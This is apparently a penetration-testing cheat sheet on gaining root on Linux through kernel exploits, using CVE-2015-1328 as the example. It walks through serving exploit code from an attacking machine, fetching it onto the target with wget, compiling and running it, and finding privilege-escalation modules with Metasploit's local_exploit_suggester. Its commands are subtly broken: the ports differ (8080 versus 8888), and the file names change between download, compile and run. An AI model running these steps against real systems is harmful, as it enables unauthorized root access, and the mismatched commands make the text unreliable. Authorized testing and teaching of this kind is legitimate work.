Kernel vulnerability exploits¶
Become root on Linux via kernel exploit:
Identify the kernel version
Detect vulnerabilities
Develop or acquire exploit code
Transfer the exploit to the target machine
Execute the exploit on the target
Example: CVE-2015-1328¶
For CVE-2015-1328 exploit-db lists several possible exploits:
Using 37292¶
Create a local file
37292.cin the/tmp/directory and paste the code in the fileStart a local python http server:
python -m http.server 8080From the target machine:
wget http://<IP address attack machine>:8888/37292.cCompile on target machine:
gcc CVE-2015-1328.c -o 37292Make executable:
chmod +x 37292Check current user:
idRun the compiled exploit:
./expCheck current user:
id
Using 40688¶
Upgrade existing shell (meterpreter, ssh, or a basic command shell) to
meterpretersession
Open a new meterpreter session with:
sessions -u <number>
Or upgrade the most recently opened session to meterpreter:
sessions -u -1
Load the
local_exploit_suggestermodule inmsfconsole:
meterpreter> use post/multi/recon/local_exploit_suggester
Set the SESSION option for the module to the session ID of the meterpreter session, and
runTest the exploit modules recommended by
local_exploit_suggester. The first few modules in the output usually have a higher chance of working successfully.Load a module, set the module options and
exploitAn exploit can fail for many reasons. If not works, try the next one or install missing components for it to run.
Notes¶
A failed kernel exploit can lead to a system crash. Make sure this potential outcome is acceptable within the scope of the penetration testing engagement before attempting a kernel exploit.
You can transfer the exploit code from your machine to the target system using the SimpleHTTPServer Python module and wget respectively.